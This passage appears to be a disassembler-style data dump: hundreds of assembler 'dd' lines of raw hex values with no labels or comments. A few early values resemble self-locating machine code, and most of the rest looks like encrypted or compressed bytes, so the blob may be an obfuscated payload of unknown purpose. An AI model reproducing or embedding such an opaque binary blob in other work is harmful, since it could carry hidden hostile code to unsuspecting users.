		dd 1D89DF6Eh, 81C18B66h, 791BD8C6h, 5EE812Bh, 0F1761C4h
		dd 882h, 850B5300h, 7E92E5Dh, 0B348958h, 2CF08166h, 0FBB70F23h
		dd 6604E983h, 811E90BAh, 0FF8D40F9h, 0AA850FFFh, 0E9FFFFFFh
		dd 2Ah,	2404C7h, 0E8000000h, 0
		dd 6AED815Dh, 8B07F0A6h, 89042444h, 0E91E1185h,	0B807h
		dd 8D8D0000h, 7E94D5Ah,	54B8E1FFh, 0E9000067h, 3Bh, 0F9BD8B60h
		dd 8307E934h, 0C93304EFh, 20BBC18Bh, 83EDB883h,	8BE04C7h
		dd 0D1000000h, 23D21BE8h, 4EC233D3h, 0FFF1850Fh, 8941FFFFh
		dd 0F98107h, 0F000001h,	0FFFFD382h, 8BC361FFh, 0B58D8DC8h
		dd 6A07F0A7h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 36D9C355h, 99242FB4h, 0D8D89D9h
		dd 6A07E932h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 55E9C357h, 0E585C7F5h,	2C07E922h
		dd 6A000075h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 3EEC351h, 2C71BD89h, 85C707E9h
		dd 7E922B1h, 0
		dd 1FF5B5FFh, 6A07E9h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 190424h, 50400000h, 0FC1B7CC3h, 668CB136h, 6458E781h
		dd 228595FFh, 6A07E9h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1D0424h, 53430000h, 91BEF0C3h, 9AFA68F0h, 0B8807469h
		dd 23CEA19Eh, 95FF006Ah, 7E90C31h, 78EBC08Bh, 0A5C16BDEh
		dd 585E3289h, 0B16EF3E2h, 0A280B7D4h, 6CF5B4E4h, 833A0180h
		dd 93401FDAh, 0D1561823h, 44AC80E1h, 0A1DAA5C8h, 2D3CFA52h
		dd 968C1E17h, 0A11F41A4h, 0D573B59Dh, 0FFFF45A5h, 0DE004CC9h
		dd 8631A36Ch, 0B989DAFDh, 7BFC4E98h, 0D9236251h, 4AAC1E37h
		dd 0C6AAFF8Ah, 1D7E5D08h, 0D9D1FE6Bh, 8A46F25h,	607E76DBh
		dd 0E6D7EF37h, 21A87CEEh, 0E7626D86h, 25FD735Dh, 87240CEBh
		dd 3AD0351Ah, 183F171Dh, 76E98F0Bh, 0E9000005h,	56Ah, 0E489EB00h
		dd 5FD6A448h, 8C215BFDh, 0C372F020h, 35B8BC51h,	31682A7h
		dd 4958F479h, 698E2ACBh, 18329E17h, 0F4AED75Eh,	6C1CFDBDh
		dd 0A3E51728h, 8169EB3Bh, 0D6A04A03h, 0D3AD420Eh, 0CE4E4773h
		dd 280903Ch, 3BDEFA36h,	3CD1FD41h, 0B8E8E438h, 48EEEA3Ah
		dd 1738A436h, 65518D65h, 8411ABD1h, 1BB4B8A3h, 93CF2BD1h
		dd 0D6A64915h, 0BC4D4D44h, 0DDC7305Ch, 4ADD5815h, 740614B0h
		dd 0C8DE1AA8h, 4D1449D9h, 0E5396B38h, 0B83547E9h, 0EF07972Eh
		dd 38AC3A0Eh, 4832C4F0h, 7B610DF4h, 56FA3ABFh, 0A1DB7DB7h
		dd 49DE590Ch, 168B25BFh, 0F5807B96h, 3DCC247Eh,	0FD70D4E9h
		dd 0B54FD9CBh, 8FD3BCFCh, 287854EDh, 80DC14AAh,	0D4592334h
		dd 13A5D778h, 4EE3A74Bh, 1C50982Eh, 0E4579565h,	9B42D6DDh
		dd 24B6C669h, 0FEB69B8h, 0DB4CEF82h, 3B815041h,	0F3B1E3FCh
		dd 3B567213h, 60AD4BAh,	84069F67h, 64829128h, 996B5890h
		dd 0D5DFD3D5h, 7, 36B51EDh, 4AF10000h, 4F0BDBA5h, 9945D7A9h
		dd 0F12D0577h, 8143EA0Ah, 35670E6Eh, 0BB8A5A22h, 67060AE0h
		dd 43F28AADh, 0E40B3FD1h, 0A43A4894h, 0A6247C58h, 8627295Eh
		dd 38D2AC42h, 2B07859Ch, 0B501DFA6h, 52E76B96h,	2234902Ah
		dd 32FE8458h, 94140DAFh, 96B49D1Dh, 9F2D77D4h, 0A85700Dh
		dd 2FBFD8Ah, 6D2DC828h,	0D119AFEAh, 5CE0319Dh, 7A233580h
		dd 43D5574Eh, 0F48227AAh, 5D95A985h, 0B6FF50h, 0B3070000h
		dd 8FF107A6h, 29B25F9h,	783B6936h, 0AA0EEA8Ah, 0DD7FF680h
		dd 5F05463Bh, 0EE1C2412h, 63FA8458h, 7F017334h,	0CCBD75C1h
		dd 305CA9CCh, 0DC08B1D7h, 2EB6403Ah, 1092720Ch,	2A7BD5D8h
		dd 0B8610AAh, 305CAA8Bh, 0FA821D7Ch, 0E9A5C9BDh, 97237FBBh
		dd 0AE2BFB85h, 0F021E38Ah, 3E57C16Ch, 0C76A66BEh, 163669B5h
		dd 0E064BD77h, 14968E56h, 0D267D1DCh, 668510AAh, 62FE7375h
		dd 0D2324CEEh, 0BAF642D0h, 8FB10D6Bh, 62173AEEh, 945DCA58h
		dd 7DF0864Bh, 0E03C3CD3h, 5C36A601h, 0C8B24430h, 0C6B45874h
		dd 10B9537Eh, 218B74E5h, 0CB5943DBh, 31F39AF6h,	73D75E1Eh
		dd 0BDBA54Ah, 46D0A84Fh, 2A06789Eh, 32DB25F6h, 84F618C4h
		dd 0F64E2CC0h, 7F9004ECh, 0A0D16BFDh, 305CC4E0h, 0C9B34430h
		dd 93F2FF3Bh, 305CBFDCh, 0E148B724h, 10AA8430h,	38FFFFFFh
		dd 0A537A0B3h, 0AA41A508h, 0DC14F20Eh, 8C1CD7CAh, 89A37B5h
		dd 729834h, 4F29C36Dh, 2E6E23BDh, 0E628738Bh, 9C3874BCh
		dd 923E0684h, 9420FC7Eh, 0AA26FE7Ch, 982AFA84h,	0DE1CBDC3h
		dd 0C234D57Fh, 0AA86F01Ah, 0F892EC0Eh, 0C972CC6Dh, 0CA9E608Bh
		dd 2CBD4842h, 0FFC22EE6h, 2B55E76Fh, 0E80DC9DBh, 0DA70A48Ch
		dd 2DD4498h, 0F82872D1h, 0FFDB2BA9h, 0DADC2758h, 5C7BB651h
		dd 6B9576CEh, 256B30C2h, 0C8AA4084h, 41DB925h, 4832C480h
		dd 9602EEF4h, 9C2AFA84h, 0D0B4DD01h, 41A951E9h,	841681ACh
		dd 0CC9FBE0Dh, 0BDF48E2Fh, 208A9FFDh, 0B9A58D17h, 4174AEBh
		dd 7088F993h, 0BA287AF8h, 3E06FF23h, 0E26A89E8h, 1EC22E48h
		dd 3A6AF284h, 895964B8h, 51759C4Bh, 87DB17A5h, 0D95424CBh
		dd 0BEFEB34Dh, 56189A39h, 1F30E44Ch, 5F07815Dh,	6C79C547h
		dd 527E2DB9h, 46B240F2h, 0ED98DB87h, 0EB92B22Ah, 0CF661639h
		dd 0CCCCC55Fh, 44E5AE98h, 225CFE5Eh, 31B3E2D6h,	2E4EE1EDh
		dd 9620E6D6h, 0AE989B1Bh, 0AF2F75E5h, 962CF088h, 4A97365Ah
		dd 0CEDF0C7Ah, 0C4F4h, 0A64ACE00h, 0B229E4D3h, 5C14BFFFh
		dd 0BA535130h, 0F98FF59Bh, 9D53EA74h, 0DF4D78A1h, 17399D55h
		dd 346CC865h, 789D3FB6h, 4EE26AFCh, 66D2D02Ch, 6414399Bh
		dd 5C966D2Dh, 6FFDA730h, 5BFC58C6h, 0E97F0117h,	0F87C9501h
		dd 0DFE9D76Eh, 4140F4ACh, 68FD9777h, 0DF9C068Bh, 0F6043813h
		dd 2DB0780Eh, 610C6C83h, 0DA5B2537h, 396D804Ch,	9D56BE9h
		dd 0F61BBF7Bh, 87D9BE86h, 8F5721CBh, 0D8D57498h, 54D3D3CEh
		dd 673D305Ch, 95E309D5h, 5C549C1Ch, 982E7430h, 90E20844h
		dd 48A0364Ch, 9BCC2045h, 64h, 0AF19760Fh, 7463A62Eh, 411A4CE1h
		dd 0C028832Ah, 0C5DC78C2h, 0DCA5EB47h, 305CC4D7h, 9C05A4A8h
		dd 0D4A64A2Eh, 2759FF59h, 46F2228Eh, 7270CC4Eh,	52E751DCh
		dd 2234902Ah, 32FE8458h, 8CE80DAFh, 35D985E1h, 0D6CFEB47h
		dd 772AC456h, 305CC537h, 626FCBD9h, 0D65F2136h,	0FA6D07Ah
		dd 3B6h, 0F654C800h, 0FD7A14Ah,	77CFA943h, 78C4B45Bh, 7FC7455Ch
		dd 66BEBE53h, 69B5C76Ah, 6FB7356Dh, 53B3CD63h, 55A9D367h
		dd 572685Eh, 3C890000h,	0E6895624h, 4C681h, 0EE830000h
		dd 24348704h, 2434895Ch, 26FC68h, 24048900h, 0B1968h, 241C8900h
		dd 3E5845BBh, 5C38115h,	89F2B250h, 2F685BDEh, 89000009h
		dd 4832424h, 83580424h,	348904ECh, 24348124h, 6864FAAh
		dd 8108408Fh, 4FAA0870h, 34FF0686h, 0C4815824h,	4, 5124348Bh
		dd 0C181E189h, 4, 8704C183h, 0E95C240Ch, 0FFF8CE12h, 33B8908Ah
		dd 307F0ADh, 0E8D38BC5h, 0Ch, 877D7F2Ah, 0C8F03105h, 8654FC81h
		dd 81CF8B5Bh, 644EC3h, 0DE816600h, 68C79Bh, 80000000h
		dd 0E85854C9h, 0Ah, 0D144A311h,	2AD8BDA7h, 5FFC399Ah, 0E803148Bh
		dd 0Dh,	4B3D8A00h, 39D3BE22h, 9E226BC1h, 61FC6067h, 0F9C2815Eh
		dd 0E96CC1F6h, 13h, 0E7D0DBB2h,	3B2BEF9Bh, 0BEE73D4Eh
		dd 43840C5Eh, 81E1AD24h, 0D89014C2h, 0EF816665h, 0EA813395h
		dd 621DFF0Ah, 2314EF81h, 1489303Ah, 0BE66F803h,	0E883B750h
		dd 6CF88104h, 0FFFFF9Ch, 0E85h,	0C9B70F00h, 1DE9h, 0D293C100h
		dd 0F0DFBD2h, 8Eh, 0FF82E900h, 69B6FFFFh, 53B87838h, 883645A2h
		dd 9D8D227Ch, 7E92DD1h,	2490B8h, 99858900h, 0E807E90Ch
		dd 0
		dd 0D0558h, 3890000h, 2490E9h, 924h dup(0)
		dd 3481E900h, 0D9720000h, 96BA169Fh, 49EF49E4h,	212BE37h
		dd 0AE43ED80h, 70C927CEh, 0E68FED00h, 54D95B4Ah, 882557F8h
		dd 0C16C0E2Ch, 0F8F029Ch, 1286BF2h, 870395CBh, 64DAA44Ah
		dd 0B9B39032h, 0A1E1902Ah, 73305CC4h, 4ACBF931h, 3264DAA4h
		dd 0C5079F90h, 4A77305Ch, 4F0BDBA5h, 0B873D3ADh, 7E45B554h
		dd 0BF5B0248h, 4EECA44Ah, 78289E2Ch, 0E60A3EDCh, 0A43A4894h
		dd 0E3EE4A58h, 0BF5B02A7h, 64DAA44Ah, 252FED78h, 0E80CDAEAh
		dd 78F6EC00h, 0C4F3B3EEh, 0B8E4305Ch, 725B6D94h, 366B3559h
		dd 305BD976h, 0BA76049Eh, 0D381FB1Eh, 403ADC78h, 4A0EB4E8h
		dd 7C0ADAA4h, 5CC58505h, 0B1158F30h, 4904D89Ch,	81F406A7h
		dd 0BF5B02D1h, 64DAA44Ah, 0DB9F2763h, 6B305DE3h, 4238DC78h
		dd 0AC08E0E2h, 6342F08Ah, 0DBA54A27h, 4A923065h, 7864DAA4h
		dd 0C4F3B3EEh, 871D305Ch, 43DDCBABh, 5CC54E4Eh,	0B6633F30h
		dd 4AEB78EAh, 3290584Ah, 64DAA44Ah, 0F0F7ED78h,	0B779A2C2h
		dd 0F1848A8Ah, 0A48C2D86h, 0EB01CD59h, 4A63A189h, 326AD85Ah
		dd 0D6A04A90h, 78903260h, 0FE46C4DCh, 0ACCE60E4h, 8EBA5044h
		dd 0D2801668h, 0A64A9032h, 0B43266D4h, 0C527671Ah, 0BFE9305Ch
		dd 5CC4C2C2h, 0C2505230h, 0C5397928h, 0C9DB305Ch, 0FB6BA361h
		dd 60BCBC53h, 2349662h,	5A4ABF5Bh, 27636AD8h, 0CDDE5B4Ah
		dd 66F4CAC3h, 327AE87Eh, 392B9F90h, 6BDBD8BAh, 0BF5B02DFh
		dd 4CEE5A4Ah, 42D0D232h, 9F90328Ch, 305CC516h, 22F9B26h
		dd 5A4ABF5Bh, 27636AD8h, 5DCB239Fh, 5A4AD330h, 0B9B74ED8h
		dd 9E9B9CDCh, 630DBF7Bh, 0EE5A4A27h, 0D0D2324Ch, 27638C42h
		dd 67D5A74Ah, 0B9B39032h, 0BF5B020Eh, 403ADC78h, 6529CCE8h
		dd 561EAF2Dh, 0E728C308h, 3226942Ah, 0D6A04A90h, 0A889844h
		dd 4240A83Ah, 9507ED78h, 5B97BF12h, 0B561439Fh,	0FDBDA431h
		dd 0FA54286Ah, 74BCBE52h, 0B3EE7856h, 305CC4F3h, 0D89CB11Dh
		dd 0E87E04h, 4A9D3DDCh,	6367D5A7h, 0D85A4A27h, 0C5DC786Ah
		dd 0C2D3FF47h, 52E0E242h, 9F184AE6h, 92ECD120h,	2DF6B28h
		dd 0A74ABF5Bh, 0B43267D5h, 0C527671Ah, 8DE9305Ch, 0B47C126Ah
		dd 3EDC7816h, 16E2E03Ch, 0BCF573A2h, 305CC4FCh,	4AF88E14h
		dd 5859032h, 29B5B02h, 9EB19173h, 22D74FDEh, 0C64245Dh
		dd 0F6AC305Ch, 4A3A8860h, 31B3E3A7h, 9341D7EDh,	413BDC78h
		dd 39057785h, 0C0424FABh, 0A517ED78h, 6D3CA522h, 78FC1185h
		dd 0AC2E66EEh, 3634644h, 59FF4B5Bh, 6B599127h, 60D6A04Ah
		dd 0ED789032h, 0BC507354h, 0F5A92FBEh, 0FD7554Dh, 560BE775h
		dd 70874FC2h, 1CAE3408h, 5C152565h, 7DB5EF30h, 0C5DC784Fh
		dd 0E7E2FF47h, 0D969B4C5h, 0EBCF2BB9h, 93110141h, 2DA331B3h
		dd 0A74AE624h, 0E62467D5h, 0EE78FA48h, 51AD2F66h, 0C55E5E53h
		dd 0ECB6305Ch, 0E131D804h, 44D6A04Ah, 0C4B7F7AAh, 4B59305Ch
		dd 230F6983h, 2B80AE1h,	0B9B3BF5Bh, 0D95B4A0Eh,	0B7C9B64Fh
		dd 0B6CBE15Eh, 7967284h, 3CF4DBFAh, 9F90328Eh, 0B3B2B782h
		dd 0D5A74AF2h, 0E6544D09h, 0D2D02CAEh, 1305E03Ch, 71ED886Ah
		dd 0F33FBDD5h, 0BF5B02D1h, 4ABF5B02h, 3266D4A6h, 0EF5B4A90h
		dd 3A7A374Dh, 0DA305CC5h, 12A43AC8h, 0ED6A04Ah,	780EBC74h
		dd 0FF47C5DCh, 5E5E53E5h, 0B6305CC5h, 0FAE804ECh, 0ADAA44Ah
		dd 9D5574Eh, 0CD0544Dh,	9C3DD776h, 26BDF5Eh, 0EE78BF5Bh
		dd 5CC4F3B3h, 0AB871D30h, 2096160Fh, 0A04AE624h, 0F4184CE0h
		dd 0F865F086h, 0BFD5AD08h, 0A63D167h, 0D6A04AB8h, 0B2F1A944h
		dd 9719B144h, 8068FE7Eh, 3BDC7802h, 67E7FD41h, 4F55A9D3h
		dd 4AA41EE3h, 3260D6A0h, 35A04A90h, 305CC59Ah, 78540A98h
		dd 0E9413BDCh, 799D39A3h, 0C7B15B03h, 863F596Bh, 0D5A74A6Fh
		dd 4F2B7C09h, 5293C02Ch, 0C4189A8Ah, 78176588h,	0AB45B554h
		dd 0BF5B0215h, 60D6A04Ah, 0B9F9032h, 7B305CC5h,	0F242DB4Bh
		dd 0DFA1B665h, 0EB14574Eh, 5B02BD0Fh, 0D6A04ABFh, 0C4DC7860h
		dd 0CE4FE46h, 0B9B30181h, 0D6A04A0Eh, 3F903260h, 428B463h
		dd 0DC14AE76h, 2EF5BEEh, 90019B5Bh, 305CC510h, 7456A200h
		dd 60D6A04Ah, 5B022763h, 0A8559FBFh, 37C1305Ch,	5CA83A7Ah
		dd 3EC8DA30h, 5CA84343h, 1BD7CD30h, 0D6A04AA9h,	0B899844h
		dd 27639D2Fh, 44D6A04Ah, 0A85913AAh, 369E24BCh,	5C654343h
		dd 1BD7CD30h, 4A2763A9h, 0F276DDA4h, 0A46B6A23h, 0B432A016h
		dd 0AE760428h, 4AEEDC14h, 0B640DAA4h, 5CC4BBFBh, 8D485530h
		dd 0F32792AEh, 37955DF3h, 739F9032h, 0C3305DCAh, 0BDBA54Ah
		dd 0DBD6AA4Fh, 305CC4DBh, 5D96F35h, 43BF5E86h, 5B027654h
		dd 0DAA44ABFh, 4A276364h, 32B2E3A7h, 8C42D0D2h,	0ED789032h
		dd 81B0CAE5h, 9C1C9543h, 74305C28h, 1B3C982Eh, 2B079D61h
		dd 0A3116B8Fh, 939F9032h, 0A3D9B763h, 5B02DF6Bh, 1E769FBFh
		dd 4AC6305Dh, 0BCEFDDA4h, 0E7C853AAh, 363E351h,	6BC7B15Bh
		dd 0D5A74A59h, 0A8A9B43h, 0DC789C2Eh, 0ADF74339h, 0FD7F933Bh
		dd 7557A321h, 403ADC78h, 5396B9E8h, 0CE16668Bh,	554E7CB4h
		dd 4A4A47D1h, 0CA305CC5h, 78B210D8h, 0C4F3B3EEh, 871D305Ch
		dd 74A647ABh, 403ADC78h, 0AE0AE6FCh, 4A32C78Bh,	0E45AE8FAh
		dd 0F3B3EE78h, 1D305CC4h, 754FAB87h, 3C3EDC78h,	0E725E5E0h
		dd 0BD6ED5F0h, 42D7C32Fh, 0E624843Ah, 6A13E23Fh, 8DCB62FCh
		dd 0F7C9808h, 0F7B3F3A6h, 475D305Bh, 5B02D9EBh,	0D5A74ABFh
		dd 4AB80A67h, 6367D5A7h, 0E8419F27h, 4A31305Dh,	7864DAA4h
		dd 0F64238DCh, 0B9B35FEBh, 9B5B020Eh, 0C5109001h, 0A600305Ch
		dd 5CC4ABEBh, 0A93F6530h, 0C522621Fh, 0B0F2305Ch, 0A44A4A78h
		dd 276364DAh, 6AD85A4Ah, 0B21AB432h, 8103E39Dh,	5CC49010h
		dd 0D5A74830h, 891B7B09h, 0C40282FFh, 9012305Ch, 0A74A6A58h
		dd 903267D5h, 6AD85A4Ah, 47C5DC78h, 28A6E2FFh, 0E918DF6Bh
		dd 45439F5Bh, 3F077599h, 6B7F4DA5h, 0BF5B02DFh,	0F3B3EE78h
		dd 1D305CC4h, 170FAB87h, 90322795h, 5B96FD3Fh, 0BF5B02EFh
		dd 413BDC78h, 0AF0BE7FDh, 7847F577h, 0C4F3B3EEh, 871D305Ch
		dd 2EB826ABh, 5CC53373h, 0AFC0DD30h, 99B1A0F7h,	8507F381h
		dd 0B7EE5A4Ah, 45DBE935h, 0C4DC7897h, 0E9CDE70h, 0B9F9A836h
		dd 5B305CC4h, 217FBB49h, 0D6A04A83h, 84923060h,	0E597BA22h
		dd 1DAF8B19h, 339B5B02h, 0CA865E1Eh, 0F48E5620h, 0DDDDD466h
		dd 37305CC4h, 4A07856Dh, 8E6AD85Ah, 93138E18h, 7D305CC4h
		dd 4AF9CB27h, 326AD85Ah, 90633F90h, 5B028101h, 0D85A4ABFh
		dd 0BDFDB44Eh, 57305CC4h, 5BABD57Bh, 4D7FBB49h,	5A4A2763h
		dd 27636AD8h, 67D5A74Ah, 0A74A9032h, 5CC59B36h,	5B099B30h
		dd 0B12BC224h, 0D72484F5h, 4AC8FA36h, 2467D5A7h, 0D3A64AE6h
		dd 738855Dh, 0A5790FA5h, 0AC700429h, 0DA18C1EFh, 5B02E052h
		dd 36A74ABFh, 305CC59Bh, 0DADAD761h, 3A305CC4h,	0C6DC8068h
		dd 78B80A10h, 0C4F3B3EEh, 871D305Ch, 95170FABh,	78903227h
		dd 0DD70C4DCh, 0AF3D479Fh, 0E4E54D57h, 12B032D5h, 53FB6B83h
		dd 0CA61B8B9h, 824DB0F6h, 0A69210ECh, 0BF5B0264h, 0B3E2A64Ah
		dd 4D09A331h, 0A567D3A9h, 0ED789032h, 0B0B335E6h, 6256A20Ah
		dd 0F6734ECFh, 9D39305Bh, 0A53F0785h, 4D03A14Dh, 0A74AE624h
		dd 0ED7867D5h, 6ED1DFC4h, 125B2368h, 0CFB540D5h, 21C8C8B9h
		dd 5A48305Ch, 9E086CC4h, 0FD7AF807h, 0A088BF8Ah, 0D5A74A62h
		dd 78276367h, 0C4F3B3EEh
		dd 871D305Ch, 0F74F31C7h, 7C9105EDh, 0DC784AF8h, 9EDC70C4h
		dd 56AE3C46h, 0C7C7BA4Ch, 49305CC4h, 63419F5Bh,	67D5A74Ah
		dd 22849230h, 1E96BBAh,	0BF5B0283h, 4CE3A74Ah, 3CD2D02Ch
		dd 4A3C8E8Eh, 2D4FE3A7h, 0AB3DD3D1h, 0AF0B7912h, 3D64F18Bh
		dd 8705ED19h, 47C5DC78h, 9D02E2FFh, 0E29F3017h,	0A919E44Ch
		dd 0F3B3EE78h, 0E4305CC4h, 7BF07827h, 693B5B9Ah, 7FFD1581h
		dd 618B53EDh, 81226217h, 0B0F2305Ch, 812B6B26h,	0BFE5305Ch
		dd 0DC785173h, 0E7FD413Bh, 78EDD70Bh, 0BC22F9EDh, 0F53D3FDDh
		dd 5DBB7314h, 5A4AC130h, 27636AD8h, 67D5A74Ah, 0A64A9032h
		dd 0ED7866D4h, 49ECBBD8h, 44D1D333h, 4DA5AFB5h,	0DF6BB311h
		dd 78BF5B02h, 7781A2EDh, 9BBD3E89h, 0F1871DE1h,	7859D39h
		dd 4A903251h, 30B4EDA5h, 9240D6ECh, 0FB6B9032h,	63C3BD53h
		dd 23B8961h, 5A4ABF5Bh,	0C4E5A5DCh, 55E7305Ch, 0C5C9DB2Bh
		dd 329B49DFh, 0DBA54A90h, 9B903265h, 0CBA9430Bh, 5CC4D6D6h
		dd 0D6643E30h, 0EBC740Eh, 4ABF5B02h, 786AD85Ah,	7BF5BEEDh
		dd 0DE76D367h, 0E059EC73h, 7B46B259h, 602051EBh, 0B0305CB2h
		dd 788406F2h, 0A93C3EDCh, 1ECF627Ah, 0ECC82035h, 638036B4h
		dd 0E2A64A27h, 0E6D2324Ch, 0D982E50h, 1899C39Ch, 0E2740A63h
		dd 4A595948h, 0E9BB305Ch, 50ACC86Dh, 3224E652h,	0EB9B390h
		dd 66D4A64Ah, 0D957EE78h, 33D7BC29h, 0BC525247h, 0D6C2305Ch
		dd 43AF3DBFh, 633FB52Fh, 0D85A4A90h, 0D0A24804h, 4894E674h
		dd 0FEFC9DC3h, 5B02AD15h, 0D4A64ABFh, 78276366h, 0E9413BDCh
		dd 4A12E485h, 0E4A4DD5Bh, 2C305CC4h, 0BA08E076h, 42D4A64Ah
		dd 0E73F8B9Ah, 750B9965h, 0EDDF1BA9h, 0E79F9032h, 1765264Ah
		dd 5B02DF6Bh, 0EB9B3BFh, 0F3B3EE78h, 1D305CC4h,	0EB0FAB87h
		dd 0BA5F0791h, 886062C2h, 3F90323Ah, 81019261h,	4ABF5B02h
		dd 6366D4A6h, 0BF5B0227h, 66D4A64Ah, 249F9032h,	0CC7A1539h
		dd 5B02DF6Bh, 0D3A64ABFh, 9379499Ch, 7DF3818Ah,	2259ED78h
		dd 1534005Ch, 95202612h, 0DD15A907h, 0A30372D0h, 11C70C0Ah
		dd 28BD8057h, 3CF1D22Ch, 0E8DA1663h, 859F8703h,	0F5305D5Ah
		dd 4FD95B4Ah, 3EE7E9B6h, 73BF1A5Bh, 81903251h, 0E468B925h
		dd 0E09ABC18h, 54F0861Ch, 5A68B4C6h, 0DC782C9Eh, 0FDEB47C5h
		dd 5CC50484h, 20960C30h, 0ED782763h, 9BBF75FAh,	0DC9CB364h
		dd 68EC8200h, 546EB6C4h, 82E4ED9Ch, 7870305Ch, 851BB0EDh
		dd 0AA865C94h, 2391EB0Eh, 1819032h, 0C5890978h,	1E8B305Ch
		dd 55F8764Ch, 30C5DF27h, 99FEEB7h, 7827635Bh, 0C4F3B3EEh
		dd 871D305Ch, 96160FABh, 1AB43220h, 5CC52767h, 0EDB41030h
		dd 9551B59h, 0F1D31F85h, 5B4AE220h, 8E874FD9h, 63E0220Eh
		dd 0D95B4A27h, 871874Fh, 564241h, 0B47C123Fh, 0C4DC7816h
		dd 0CB6EA46h, 5CC51F9Fh, 52430B30h, 0C4DBDBD6h,	6F35305Ch
		dd 0B37F05D9h, 0D4A64A11h, 83037E08h, 8D305CC5h, 0D9A3B717h
		dd 0D5749805h, 7884FA25h, 34EF61EDh, 13DF704Fh,	4A8C4EEFh
		dd 636BD95Bh, 0D95B4A27h, 3BDC786Bh, 469E1E77h,	2E42AE3Ch
		dd 0FC5C0590h, 6174D349h, 1F9F3B89h, 2F305CC5h,	5B020585h
		dd 0D95B4ABFh, 5B03636Bh, 1D5FF0B6h, 0A92DC3C1h, 883AF686h
		dd 0DC780181h, 0F8A94339h, 305CC4B8h, 0B2EE4A58h, 0F587A834h
		dd 5B4A8F3Dh, 0DC786BD9h, 0B5E9413Bh, 7801810Fh, 5CC58509h
		dd 0A7158F30h, 5B4A2763h, 27636BD9h, 90320181h,	413BDC78h
		dd 0C185E0FDh, 0D89DCA8Ah, 3595EE4Ah, 2ADE5B4Ah, 0BFBAEF29h
		dd 3240F684h, 27671AB4h, 0E9305CC5h, 814D7FBBh,	89097801h
		dd 8B305CC5h, 0DC78AB19h, 0EAF74339h, 4AE22058h, 636BD95Bh
		dd 0D95B4A27h, 7EED786Bh, 0ED1D3B5Ah, 0F18F230Fh, 26B87164h
		dd 49A11071h, 0C5DC787Bh, 9A1AEB47h, 0A4305CC4h, 0ADAA44Ah
		dd 72D2AC4Eh, 0C57D3D74h, 0D97305Ch, 53AF4EB6h,	5B02F2D0h
		dd 0EF5B4ABFh, 31A735B7h, 0EE782763h, 0FCAD2F66h, 305CC4BCh
		dd 36E24E54h, 32EF5DDFh, 0B3EE7890h, 305CC4F3h,	0DAAB871Dh
		dd 305CC4DAh, 20585E4h,	5B4ABF5Bh, 0A32171DDh, 5CC4AEEEh
		dd 0AE3C6630h, 5B036338h, 5C6ECA4Ah, 90320181h,	6BD95B4Ah
		dd 428B432h, 0C57F3F72h, 1391305Ch, 8117B57Dh, 0E9ED7801h
		dd 7282ACEAh, 99991988h, 297B305Ch, 58495F9Bh, 305C9A54h
		dd 0B5F5AC46h, 5F305C99h, 0A701ED45h, 5C99AAEAh, 0F28CA230h
		dd 0A6FC9012h, 2763A210h, 6BD95B4Ah, 0B5152763h, 6AD85A4Ah
		dd 0F27B9032h, 0B6FFDB6Ch, 6C082DA9h, 978A323h,	305CC589h
		dd 63AB198Bh, 7A149227h, 76436E3h, 0FDAC97A2h, 305C56BDh
		dd 0A92B7B57h, 71B94F55h, 26CF4D45h, 33732EB8h,	0DD305C57h
		dd 8A6A36C7h, 6FA2E5BFh, 0A0B30183h, 1639A537h,	2C049E66h
		dd 0D609789Eh, 0DC37B5A9h, 903210C6h, 41DBA54Ah, 960B8D85h
		dd 305CC516h, 0DA16A4FEh, 9F9032E8h, 88F9A139h,	0DBA54A09h
		dd 4708541h, 27639E2Ch,	0C5890978h, 198B305Ch, 0C492128Fh
		dd 2082305Ch, 0E899336Fh, 305CC3A8h, 97150C68h,	4BA7354Fh
		dd 57EE7879h, 315374BAh, 7617E384h, 305C6736h, 3216C4DEh
		dd 740628B4h, 0EE780EBCh, 57AFD166h, 0C55C5C4Dh, 0EEB4305Ch
		dd 79B1CB6Eh, 0CC2BA5Dh, 0B1119032h, 81BF5B02h,	0EC69B925h
		dd 12587B5Fh, 966EFCC2h, 78E6240Ch, 5CC58909h, 0AB198B30h
		dd 0C5890978h, 1E8B305Ch, 55B7AC62h, 2B5DB88Fh,	5E6030C5h
		dd 2CA5CF2h, 32B08CEEh,	2763C4C6h, 0FCDCA54Ah, 4ACC99DCh
		dd 6312C056h, 0B9258127h, 0BF0DE597h, 0A74A9032h, 0DC7867D5h
		dd 0E6FC403Ah, 0BF27870Ah, 0BA08E098h, 1F9FE220h, 0B305CC5h
		dd 67D3AD43h, 2B111A5h,	0B515BF5Bh, 5D6A3D9Fh, 0A44A0D30h
		dd 0F30549ECh, 992FB589h, 3BA93F45h, 1819032h, 3C3EDC78h
		dd 3842D4E0h, 0E048DEE4h, 0C50B8B06h, 9B05305Ch, 5CC4A6E6h
		dd 0A6346E30h, 9F276330h, 88F9A139h, 0DAA44A09h, 78276364h
		dd 0B9E3FCEDh, 0F95D50F7h, 0EDC92153h, 32BE2C48h, 0DAA44A90h
		dd 85903264h, 0EB91A521h, 63A1891Bh, 4ABF5B02h,	6367D5A7h
		dd 89097827h, 43305CC5h, 0E7BDD153h, 2958F2ACh,	305CC569h
		dd 9331F9ABh, 0A44A9032h, 708440DAh, 0CEA8420Ah, 0DC78A062h
		dd 0E7FD413Bh, 203C860Bh, 6EBC2FC6h, 4DD89AB0h,	0B47C4BFEh
		dd 0C51F9F16h, 112F305Ch, 0F3ED78B1h, 0CCCCC518h, 44305C03h
		dd 99B4CF5Eh, 6F0E72BEh, 205FFE97h, 0B4A4A47h, 0D8CA305Ch
		dd 0B1A3A34Dh, 0B5154B79h, 403ADC78h, 0C357E6FCh, 3397CA42h
		dd 0CE6357A3h, 5B811CAEh, 748A5E2Eh, 3262A088h,	760428B4h
		dd 0C62008BAh, 0B682FC1Eh, 0D5A74A14h, 4A276367h, 44CE2A6h
		dd 2AB884F6h, 32500694h, 460228B4h, 0FE3AC8B2h,	931D9FCCh
		dd 782D35BFh, 0C4F3B3EEh, 871D305Ch, 91EB0FABh,	78276323h
		dd 0FD413BDCh, 0ABD567E7h, 35E1495Bh, 78E55B21h, 0EA46C4DCh
		dd 0ED780CB6h, 744DA448h, 0F8F020Ch, 1305BEFh, 24250DA3h
